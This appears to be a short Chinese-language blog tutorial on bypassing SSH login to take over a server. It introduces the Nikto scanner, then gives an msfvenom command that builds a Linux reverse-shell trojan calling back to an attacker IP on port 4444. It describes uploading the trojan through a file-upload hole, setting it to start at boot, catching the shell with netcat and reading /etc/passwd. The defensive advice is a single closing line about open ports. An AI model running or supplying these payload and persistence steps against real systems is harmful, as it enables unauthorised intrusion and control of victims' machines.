黑客绕过SSH登录目标站点的手法多种多样，其中一些技术不仅复杂且极具隐蔽性，严重威胁着网络安全。SSH（安全外壳协议）作为一种广泛使用的远程登录协议，虽然本身具备一定的安全特性，但仍然是黑客攻击的重要目标之一。黑客通过利用SSH协议的特点和存在的安全漏洞，采取包括SSH欺骗、暴力破解密码、设置SSH后门以及绕过身份验证机制等多种手段，实现对目标站点的非法访问和控制。
接下来，我们将深入探讨黑客如何利用这些手段绕过SSH登录目标站点，以便更好地理解其背后的技术原理和防御策略。这不仅有助于提升网络安全意识，也为制定相应的防护措施提供了宝贵的参考。
Nikto介绍
一个开源的 Web 服务器扫描器，它就像你网络安全工具箱中的瑞士军刀，帮助你发现潜在的安全漏洞。
望获系统安装nikto:
dnf install nikto
扫描目标
假设你有一个目标网站，比如 `http://example.com`。让我们开始扫描吧：
nikto -h http://example.com
扫描结果
扫描完成后，Nikto 会输出一些信息，比如：
找到的潜在漏洞
安全配置问题
默认的 Web 应用程序和目录
每一条信息都是你冒险中的发现，帮助你更好地了解目标系统。
找到一个上传文件漏洞
从nikto找到一个上传文件漏洞。需要查阅对应服务器版本以及相关已修复漏洞。在此只做原理性解释和介绍。
重点：生成木马
使用metasploit工具msfvenom创建：
msfvenom -p linux/x64/shell_reverse_tcp -f elf lhost=192.168.77.133 lport=4444 > x64-re-shell
-p 指定平台为64位x86，系统为linux
-f payload格式
lhost 黑客ip
lport 黑客设备的端口
根据小节4中的上传漏洞上传该木马并设置开机启动
演示
黑客设备上监听4444端口，执行：
nc -l -p 4444
受害者设备启动模拟：
黑客设备端显示：
黑客端拿下/etc/passwd。
总结
黑客绕过ssh加密认证登录，通过上传reverse shell拿下受害者设备。
防范措施：
通过端口安全管理，只开放经过安全认证的端口，快去看看你的设备端口有没有连接陌生ip。
